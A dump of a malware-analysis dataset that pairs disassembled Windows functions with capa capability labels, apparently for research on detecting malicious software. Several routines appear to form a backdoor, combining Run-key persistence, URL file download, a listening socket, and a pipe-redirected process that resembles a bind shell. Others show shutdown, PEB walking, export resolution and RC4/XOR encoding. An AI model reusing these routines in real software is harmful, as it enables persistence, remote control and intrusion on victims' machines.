joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x459004]
jne 0x40100a
repz ret
jmp fcn.004017db

Function at 0x406b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402504
and dword [ebp - 4], 0
cmp dword [0x45affc], 0
mov ebx, eax
jne 0x406c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406ce0
push eax
call fcn.00402492
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x45affc], eax
call esi
push eax
call fcn.00402492
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x45b000], eax
call esi
push eax
call fcn.00402492
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45b004], eax
call esi
push eax
call fcn.00402492
pop ecx
mov dword [0x45b00c], eax
test eax, eax
je 0x406c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402492
pop ecx
mov dword [0x45b008], eax
mov eax, dword [0x45b008]
cmp eax, ebx
je 0x406c87
cmp dword [0x45b00c], ebx
je 0x406c87
push eax
call fcn.0040250d
push dword [0x45b00c]
mov esi, eax
call fcn.0040250d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406c87
test edi, edi
je 0x406c87
call esi
test eax, eax
je 0x406c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x406c7e
test byte [ebp - 0xc], 1
jne 0x406c87
or dword [ebp + 0x10], 0x200000
jmp 0x406cc0
mov eax, dword [0x45b000]
cmp eax, ebx
je 0x406cc0
push eax
call fcn.0040250d
pop ecx
test eax, eax
je 0x406cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406cc0
mov eax, dword [0x45b004]
cmp eax, ebx
je 0x406cc0
push eax
call fcn.0040250d
pop ecx
test eax, eax
je 0x406cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45affc]
call fcn.0040250d
pop ecx
test eax, eax
je 0x406ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4521e0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
push ebp
mov ebp, dword [esp + 0x10]
push edi
cmp ebp, 0x19f
jne 0x452201
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor edi, edi
test ebp, ebp
jle 0x452256
push esi
jmp 0x452210
lea esi, [esp + 0x10]
mov dword [esp + 0xc], 5
mov dword [esp + 0x10], 0
call fcn.004521d0
mov eax, dword [esp + 0x10]
add eax, 0x46
mov dword [esp + 0xc], eax
sub dword [esp + 0xc], 0x46
movsx eax, byte [edi + ebx]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0xc]
xor dword [esp + 0x18], eax
mov cl, byte [esp + 0x18]
mov byte [edi + ebx], cl
inc edi
cmp edi, ebp
jl 0x452210
pop esi
pop edi
cmp ebp, 0x2d
pop ebp
jne 0x452271
mov dword [0x2b59218], 0xa62e7790
mov dword [0x2b5921c], 0xffffffff
add esp, 8
ret
Function at 0x402975
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub ecx, ecx
cmp dword [ebp + 0xc], ecx
jbe 0x40298e
mov dl, byte [ebp + 0x10]
xor byte [ecx + eax], dl
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0x402982
pop ebp
ret

Function at 0x402990
Capabilities:
Access peb ldr_data

Disassembly:
push esi
sub eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
pop esi
ret

Function at 0x402a78
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [edi + 0x3c]
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [eax + edi + 0x78]
add esi, edi
cmp dword [esi + 0x18], 0
jbe 0x402ac0
mov ebx, dword [esi + 0x20]
add ebx, edi
or ebx, ebx
je 0x402ab2
mov eax, dword [ebx]
push 0xffffffffffffffff
push 0xffffffffffffffff
add eax, edi
push eax
push dword [ebp + 8]
call fcn.004029be
add esp, 0x10
or eax, eax
je 0x402ac6
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
sub ebx, 0xfffffffc
cmp eax, dword [esi + 0x18]
jb 0x402a96
sub eax, eax
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + edi]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
jmp 0x402ac2

Function at 0x402b6d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
push esi
push edi
sub edi, edi
sub eax, eax
mov ebx, 0x100
mov dword [ebp + eax*4 - 0x404], eax
inc eax
cmp eax, ebx
jl 0x402b82
sub esi, esi
sub edx, edx
push esi
pop eax
div dword [ebp + 0x14]
mov eax, dword [ebp + 0xc]
lea ecx, [ebp + esi*4 - 0x404]
movzx eax, byte [edx + eax]
add eax, dword [ecx]
add edi, eax
and edi, 0x800000ff
jns 0x402bb9
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ecx]
mov byte [ebp - 1], al
lea eax, [ebp + edi*4 - 0x404]
mov edx, dword [eax]
mov dword [ecx], edx
movzx ecx, byte [ebp - 1]
inc esi
mov dword [eax], ecx
cmp esi, ebx
jl 0x402b90
sub eax, eax
cmp dword [ebp + 0x10], eax
jbe 0x402c44
add esi, 0xf
and esi, 0x800000ff
jns 0x402bee
dec esi
or esi, 0xffffff00
inc esi
lea ecx, [ebp + esi*4 - 0x404]
mov edx, dword [ecx]
add edi, edx
and edi, 0x800000ff
jns 0x402c09
dec edi
or edi, 0xffffff00
inc edi
mov byte [ebp - 1], dl
lea edx, [ebp + edi*4 - 0x404]
mov ebx, dword [edx]
mov dword [ecx], ebx
movzx ebx, byte [ebp - 1]
mov dword [edx], ebx
mov ecx, dword [ecx]
mov edx, dword [ebp + 8]
add ecx, ebx
and ecx, 0x800000ff
jns 0x402c34
dec ecx
or ecx, 0xffffff00
inc ecx
mov cl, byte [ebp + ecx*4 - 0x404]
xor byte [edx + eax], cl
inc eax
cmp eax, dword [ebp + 0x10]
jb 0x402bdb
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404b10
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x58
push 0x408ce0
call fcn.00405dd0
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
sub esi, esi
cmp dword [0x40b940], esi
jne 0x4049ce
push esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x4049e1
mov dword [ebp - 0x1c], esi
jmp 0x404a17
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4049dc
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4049dc
cmp dword [eax + 0x400074], 0xe
jbe 0x4049dc
sub ecx, ecx
cmp dword [eax + 0x4000e8], esi
setne cl
mov dword [ebp - 0x1c], ecx
call fcn.00405da3
or eax, eax
jne 0x404a28
push 0x1c
call 0x40497a
pop ecx
call 0x405c28
or eax, eax
jne 0x404a39
push 0x10
call 0x40497a
pop ecx
call 0x4058e3
mov dword [ebp - 4], esi
call 0x40569e
or eax, eax
jns 0x404a52
push 0x1b
call fcn.00404f01
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40b93c], eax
call 0x405607
mov dword [0x40abac], eax
call 0x40554c
or eax, eax
jns 0x404a78
push 8
call fcn.00404f01
pop ecx
call fcn.004052d6
or eax, eax
jns 0x404a89
push 9
call fcn.00404f01
pop ecx
push 1
call 0x404ce0
pop ecx
cmp eax, esi
je 0x404a9c
push eax
call fcn.00404f01
pop ecx
call 0x405277
test byte [ebp - 0x3c], 1
je 0x404aad
movzx ecx, word [ebp - 0x38]
jmp 0x404ab0
push 0xa
pop ecx
push ecx
push eax
push esi
push 0x400000
call main
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], esi
jne 0x404acb
push eax
call 0x404eb7
call fcn.00404ee3
jmp 0x404b00
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00405e15
ret
call 0x405fbf
jmp 0x4049a3

Function at 0x406d46
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a310]
jne 0x406d50
repz ret
jmp 0x407f35
nop
nop
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x40b5e8], eax
mov dword [0x40b5e4], ecx
mov dword [0x40b5e0], edx
mov dword [0x40b5dc], ebx
mov dword [0x40b5d8], esi
mov dword [0x40b5d4], edi
mov word [0x40b600], ss
mov word [0x40b5f4], cs
mov word [0x40b5d0], ds
mov word [0x40b5cc], es
mov word [0x40b5c8], fs
mov word [0x40b5c4], gs
pushfd
pop dword [0x40b5f8]
mov eax, dword [ebp]
mov dword [0x40b5ec], eax
mov eax, dword [ebp + 4]
mov dword [0x40b5f0], eax
lea eax, [ebp + 8]
mov dword [0x40b5fc], eax
mov eax, dword [ebp - 0x320]
mov dword [0x40b538], 0x10001
mov eax, dword [0x40b5f0]
mov dword [0x40b4ec], eax
mov dword [0x40b4e0], 0xc0000409
mov dword [0x40b4e4], 1
mov eax, dword [0x40a310]
mov dword [ebp - 0x328], eax
mov eax, dword [0x40a314]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x40b530], eax
push 1
call fcn.00407ef1
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x402000
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x40b530], 0
jne 0x408027
push 1
call fcn.00407ef1
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x407f35
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a310]
jne 0x406d50
repz ret
jmp 0x407f35
nop
nop
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x40b5e8], eax
mov dword [0x40b5e4], ecx
mov dword [0x40b5e0], edx
mov dword [0x40b5dc], ebx
mov dword [0x40b5d8], esi
mov dword [0x40b5d4], edi
mov word [0x40b600], ss
mov word [0x40b5f4], cs
mov word [0x40b5d0], ds
mov word [0x40b5cc], es
mov word [0x40b5c8], fs
mov word [0x40b5c4], gs
pushfd
pop dword [0x40b5f8]
mov eax, dword [ebp]
mov dword [0x40b5ec], eax
mov eax, dword [ebp + 4]
mov dword [0x40b5f0], eax
lea eax, [ebp + 8]
mov dword [0x40b5fc], eax
mov eax, dword [ebp - 0x320]
mov dword [0x40b538], 0x10001
mov eax, dword [0x40b5f0]
mov dword [0x40b4ec], eax
mov dword [0x40b4e0], 0xc0000409
mov dword [0x40b4e4], 1
mov eax, dword [0x40a310]
mov dword [ebp - 0x328], eax
mov eax, dword [0x40a314]
mov dword [ebp - 0x324], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x40b530], eax
push 1
call fcn.00407ef1
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x402000
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x40b530], 0
jne 0x408027
push 1
call fcn.00407ef1
pop ecx
push 0xc0000409
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
leave
ret
Function at 0x4011cb
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405014
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x405020
push 0x40501c
push 0x405018
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405020]
push dword [0x40501c]
push dword [0x405018]
mov dword [0x40500c], esp
call fcn.0040211c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x40123c
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push edi
push 0x403fc0
lea eax, [ebp - 0x104]
push eax
call fcn.00402180
lea eax, [ebp - 0x108]
push eax
push 0x4050aa
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyA
or eax, eax
jne 0x4012a8
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.DLL_lstrlenA
push eax
lea edi, [ebp - 0x104]
push edi
push 1
push 0
push 0x403fb0
push dword [ebp - 0x108]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0x108]
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
jmp 0x4012ab
xor eax, eax
inc eax
pop edi
leave
ret

Function at 0x4012ae
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x4050aa
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyA
or eax, eax
jne 0x4012e2
push 0x403fb0
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegDeleteValueA
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
jmp 0x4012e5
xor eax, eax
inc eax
leave
ret

Function at 0x4012e7
Capabilities:
Download url
Get common file path
Receive data
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
lea edi, [ebp - 2]
lea esi, [0x40505c]
movsw word es:[edi], word [esi]
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call fcn.00402180
lea eax, [ebp - 2]
push eax
lea eax, [ebp - 0x210]
push eax
call sub.CRTDLL.DLL_strtok
add esp, 8
mov ebx, eax
jmp 0x401337
mov dword [ebp - 8], ebx
lea eax, [ebp - 2]
push eax
push 0
call sub.CRTDLL.DLL_strtok
add esp, 8
mov ebx, eax
or ebx, ebx
jne 0x401324
lea eax, [ebp - 0x10c]
push eax
push 0x104
call sub.KERNEL32.DLL_GetCurrentDirectoryA
push 0x4050a8
lea eax, [ebp - 0x10c]
push eax
call sub.CRTDLL.DLL_strcat
push dword [ebp - 8]
lea eax, [ebp - 0x10c]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 0x10
lea ecx, [ebp - 0x10c]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401378
sub eax, 1
mov byte [ebp + eax - 0x10c], 0
lea ecx, [ebp - 0x10c]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401393
push 0
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0xc]
call sub.wsock32.dll_send
push 0
push 4
push 0x4050a3
push dword [ebp + 0xc]
call sub.wsock32.dll_send
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov ebx, eax
cmp ebx, 0
jne 0x4013e0
mov eax, 0
jmp 0x4013e3
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4013e8
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
call fcn.00401474
or eax, eax
je 0x401457
call sub.KERNEL32.DLL_GetCurrentProcess
lea edi, [ebp - 0x14]
push edi
push 0x28
push eax
call sub.ADVAPI32.DLL_OpenProcessToken
lea eax, [ebp - 0xc]
push eax
push 0x40508f
push 0
call sub.ADVAPI32.DLL_LookupPrivilegeValueA
mov dword [ebp - 0x10], 1
mov dword [ebp - 4], 2
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push dword [ebp - 0x14]
call sub.ADVAPI32.DLL_AdjustTokenPrivileges
cmp dword [ebp + 8], 0
jne 0x40144c
push 0
push 6
call sub.USER32.DLL_ExitWindowsEx
jmp 0x401471
push 0
push 0xc
call sub.USER32.DLL_ExitWindowsEx
jmp 0x401471
cmp dword [ebp + 8], 1
jne 0x401468
push 0
push 6
call sub.USER32.DLL_ExitWindowsEx
jmp 0x401471
push 0
push 0xc
call sub.USER32.DLL_ExitWindowsEx
pop edi
leave
ret

Function at 0x4014a5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x18], 0x10
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
call sub.wsock32.dll_accept
mov edi, eax
cmp edi, 0xffffffff
jne 0x4014d2
xor eax, eax
inc eax
jmp 0x401526
lea eax, [ebp - 0x14]
push eax
push 0
push edi
push 0x40152b
push 0x3e8
push 0
call sub.KERNEL32.DLL_CreateThread
mov ebx, dword [0x405058]
mov dword [ebx*4 + 0x403000], eax
cmp dword [ebx*4 + 0x403000], 0
jne 0x401509
push edi
call sub.wsock32.dll_closesocket
jmp 0x40150f
inc dword [0x405058]
jmp 0x4014b1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4019b7
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
push 0x18
call sub.CRTDLL.DLL_malloc
add esp, 4
mov edi, eax
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 1
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push edi
call sub.KERNEL32.DLL_CreatePipe
or eax, eax
jne 0x401a32
cmp dword [edi], eax
je 0x401a19
push dword [edi]
call sub.KERNEL32.DLL_CloseHandle
cmp dword [ebp - 0x10], 0
je 0x401a27
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_CloseHandle
push edi
call sub.CRTDLL.DLL_free
pop ecx
xor eax, eax
jmp 0x401aae
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, edi
add eax, 4
push eax
lea eax, [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_CreatePipe
or eax, eax
jne 0x401a8b
cmp dword [edi], eax
je 0x401a56
push dword [edi]
call sub.KERNEL32.DLL_CloseHandle
cmp dword [ebp - 0x10], 0
je 0x401a64
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_CloseHandle
cmp dword [edi + 4], 0
je 0x401a72
push dword [edi + 4]
call sub.KERNEL32.DLL_CloseHandle
cmp dword [ebp - 0x14], 0
je 0x401a80
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_CloseHandle
push edi
call sub.CRTDLL.DLL_free
pop ecx
xor eax, eax
jmp 0x401aae
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.00401c19
add esp, 8
mov dword [edi + 8], eax
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_CloseHandle
mov eax, edi
pop edi
leave
ret
Function at 0x401ab1
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, dword [ebp + 8]
push 0x18
call sub.CRTDLL.DLL_malloc
add esp, 4
mov edi, eax
call fcn.004019b7
mov edi, eax
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [edi + 0xc], esi
lea eax, [ebp - 0x1c]
push eax
push 0
push edi
push 0x401d00
push 0
lea eax, [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_CreateThread
mov dword [edi + 0x10], eax
cmp dword [edi + 0x10], 0
jne 0x401b16
mov dword [edi + 0xc], 0xffffffff
xor eax, eax
inc eax
jmp 0x401c15
lea eax, [ebp - 0x1c]
push eax
push 0
push edi
push 0x401e3b
push 0
lea eax, [ebp - 0xc]
push eax
call sub.KERNEL32.DLL_CreateThread
mov dword [edi + 0x14], eax
cmp dword [edi + 0x14], 0
jne 0x401b4f
mov dword [edi + 0xc], 0xffffffff
push 0
push dword [edi + 0x14]
call sub.KERNEL32.DLL_TerminateThread
xor eax, eax
inc eax
jmp 0x401c15
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [edi + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 8]
mov dword [ebp - 0x10], eax
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x18]
push eax
push 3
call sub.KERNEL32.DLL_WaitForMultipleObjects
mov esi, eax
or eax, eax
je 0x401b82
cmp eax, 1
je 0x401b98
cmp eax, 2
je 0x401bae
jmp 0x401bc2
push 0
push dword [edi + 0x14]
call sub.KERNEL32.DLL_TerminateThread
push 1
push dword [edi + 8]
call sub.KERNEL32.DLL_TerminateProcess
jmp 0x401bc2
push 0
push dword [edi + 0x10]
call sub.KERNEL32.DLL_TerminateThread
push 1
push dword [edi + 8]
call sub.KERNEL32.DLL_TerminateProcess
jmp 0x401bc2
push 0
push dword [edi + 0x14]
call sub.KERNEL32.DLL_TerminateThread
push 0
push dword [edi + 0x10]
call sub.KERNEL32.DLL_TerminateThread
push dword [edi + 0xc]
call sub.wsock32.dll_closesocket
push dword [edi]
call sub.KERNEL32.DLL_DisconnectNamedPipe
push dword [edi]
call sub.KERNEL32.DLL_CloseHandle
push dword [edi + 4]
call sub.KERNEL32.DLL_DisconnectNamedPipe
push dword [edi + 4]
call sub.KERNEL32.DLL_CloseHandle
push dword [edi + 0x10]
call sub.KERNEL32.DLL_CloseHandle
push dword [edi + 0x14]
call sub.KERNEL32.DLL_CloseHandle
push dword [edi + 8]
call sub.KERNEL32.DLL_CloseHandle
or edi, edi
je 0x401c0d
push edi
call sub.CRTDLL.DLL_free
add esp, 4
dec dword [0x405058]
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x401c19
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push esi
push edi
xor edi, edi
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov word [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov word [ebp - 0x12], 0
mov dword [ebp - 0x18], 0x101
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
call sub.KERNEL32.DLL_GetCurrentProcess
mov dword [ebp - 0x64], eax
call sub.KERNEL32.DLL_GetCurrentProcess
push 0
push 1
push 2
lea esi, [ebp - 4]
push esi
push eax
push dword [ebp + 0xc]
mov esi, dword [ebp - 0x64]
push esi
call sub.KERNEL32.DLL_DuplicateHandle
call fcn.00401474
or eax, eax
je 0x401cbe
push 0x40507f
lea eax, [ebp - 0x60]
push eax
call fcn.00402180
jmp 0x401ccc
push 0x405073
lea eax, [ebp - 0x60]
push eax
call fcn.00402180
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x60]
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
or eax, eax
je 0x401cfa
mov edi, dword [ebp - 0x54]
push dword [ebp - 0x50]
call sub.KERNEL32.DLL_CloseHandle
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x401f2f
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
push ebx
push esi
push edi
xor esi, esi
push 0x104
push 0x403fc0
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x405069
push 0x403fc0
call sub.CRTDLL.DLL_fopen
add esp, 8
mov edi, eax
or eax, eax
je 0x401f9d
push 0
push 0x1620
push edi
call sub.CRTDLL.DLL_fseek
add esp, 0xc
push edi
push 0x20
push 1
push 0x403fa0
call sub.CRTDLL.DLL_fread
add esp, 0x10
push edi
call sub.CRTDLL.DLL_fclose
add esp, 4
cmp dword [0x403fa0], 0x149d
je 0x401fce
mov dword [0x403fa4], 0x149d
mov dword [0x403fa8], 0
mov dword [0x403fac], 0
push 0x405060
push 0x403fb0
call fcn.00402180
jmp 0x401fce
cmp dword [0x403fac], 0
je 0x401fdc
call fcn.0040123c
push dword [ebp + 0x10]
call sub.CRTDLL.DLL_atoi
pop ecx
mov esi, eax
or esi, esi
jg 0x401ff1
mov esi, dword [0x403fa4]
lea eax, [ebp - 0x1a0]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
or eax, eax
je 0x40200b
xor eax, eax
inc eax
jmp 0x402085
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov edi, eax
cmp eax, 0xffffffff
jne 0x402022
xor eax, eax
inc eax
jmp 0x402085
mov word [ebp - 0x10], 2
push 0
call sub.wsock32.dll_htonl
mov dword [ebp - 0xc], eax
mov eax, esi
movzx eax, ax
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
push edi
call sub.wsock32.dll_bind
cmp eax, 0xffffffff
jne 0x40205d
push edi
call sub.wsock32.dll_closesocket
xor eax, eax
inc eax
jmp 0x402085
push 5
push edi
call sub.wsock32.dll_listen
cmp eax, 0xffffffff
jne 0x402075
push edi
call sub.wsock32.dll_closesocket
xor eax, eax
inc eax
jmp 0x402085
push edi
call fcn.004014a5
add esp, 4
call sub.wsock32.dll_WSACleanup
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x40211c
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
cmp byte [edi], 0x22
jne 0x402150
push 0x22
mov eax, edi
inc eax
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 4], eax
or eax, eax
je 0x40216b
mov edi, eax
inc edi
jmp 0x402148
inc edi
cmp byte [edi], 0x20
je 0x402147
jmp 0x40216b
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x40215c
cmp eax, 0x20
jne 0x40214f
jmp 0x40215f
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x40216b
cmp eax, 0x20
je 0x40215e
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 1
push edi
push 0
push eax
call fcn.00401f2f
pop edi
leave
ret